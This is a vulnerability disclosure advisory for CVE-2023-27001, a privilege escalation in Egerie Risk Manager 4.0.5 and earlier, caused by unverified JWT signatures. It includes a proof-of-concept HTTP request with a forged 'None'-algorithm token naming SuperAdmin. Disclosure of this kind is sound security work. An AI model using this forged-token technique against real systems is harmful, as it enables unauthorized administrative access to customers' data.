Security advisory

Egerie Risk Manager<=V4.0.5 Improper Access Control Lead to Privilege Escalation

June, 2023

CVE-2023-27001
Release date: 12/06/2023
Department: POST Cyberforce
Khalid ESSALMI

Vulnerability summary

Product	Egerie
Product homepage	https://egerie.eu/
Affected product versions	V4.0.5
Severity	High: CVSS v3.1 score - 8.8
CVSS vector string	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK	T1210, T1068
OWASP	OWASP API1:2023
CWE	CWE-284
Workarounds	N/A
Fixed product versions	V4.1.1 and later

Validated impact:

- Escalate the privileges from GUEST user to Super Admin;
- Full compromise of Egerie application;
- Confidentiality, integrity and availability of customers data.

Timeline

Date	Action
04 October 2022	Vulnerability identification, exploitation and impact validation
04 October 2022	Vendor notified and acknowledged the vulnerability
05 October 2022	Reproduce the attack by the editor
27 October 2022	Vendor published a new release V4.1.1 addressing the issue
28 October 2022	Fix efficient validation : OK
03 Avril 2023	CVE-2023-27001 assigned by MITRE
12 Juin 2023	Advisory publicly released by POST Cyberforce

References:

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27001
- https://attack.mitre.org/techniques/T1210/
- https://attack.mitre.org/techniques/T1068/
- https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/
- https://cwe.mitre.org/data/definitions/284.html

Product description

Egerie application allows customers to create or import modules based on their needs. These modules allow them to create and manage risk and vulnerability assessments, but also implement a remediation roadmap to follow. Each customer is separated by organistration structure. One user can have access to one or several organisations, as access to all or some modules contained by these organisations, which are attributed by an administrator of an organisation.

EGERIE application has six user's profiles:

- The Guest only has access to the ”Shared with me” section and to the questionnaires sent to him/her;
- The Technical Administrator only handles updates and backups of the system and does not have access to any risk analysis data. He only has access to the ”Vision360” section and the ”Services” section in the Administration section;
- The Manager can access to dashboards assigned by an organisation or a super administrator;
- The Risk Manager can access its own modules assigned by an organisation or a super administrator;
- The Administrator can manage an organisation (Set of modules and user);
- The Super Admin can access all parts of EGERIE software.

More information can be found by visiting the product webpage: https://egerie.eu/en/egerie-risk-manager/

Advisory

The Egerie application prior and including 4.0.5 is vulnerable to Privilege Escalation due to Improper Access Control. The authentication is required to exploit this vulnerability and the exploitability was confirmed from a GUEST user access point of view.

The vulnerability permits the attacker to escalate the privilege on the application from Guest user to super admin.

Vulnerability description

The vulnerability exists in the JWT components of the EGERIE Risk Manager application versions including 4.0.5. Attackers could exploit this vulnerability to elevate their privileges on the target application by changing the username attribute in the payload of the api_token JWT to an SuperAdmin username.

Since the JWT signature is not properly verified, changing it to 'None' allows to escalate the privileges to the SuperAdmin.

Vulnerable endpoints:

- GET / HTTP/1.1
- GET /v4/EgerieRM/api/ HTTP/1.1
- GET /v4/EgerieRM/ HTTP/1.1

Vulnerable parameter:

- api_token / username

Proof of concept

```
GET /EgerieRM/Administration/Profil HTTP/1.1
Host: saas.egerie.eu
Cookie: api_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJ1c2VybmFtZSI6IlN1cGVyQWRtaW4ifQo.NotAValidSignature
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 ...
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://saas.egerie.eu/EgerieRM/Administration/Modules
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
```

Recommendation

Contact VENDOR to receive an updated version.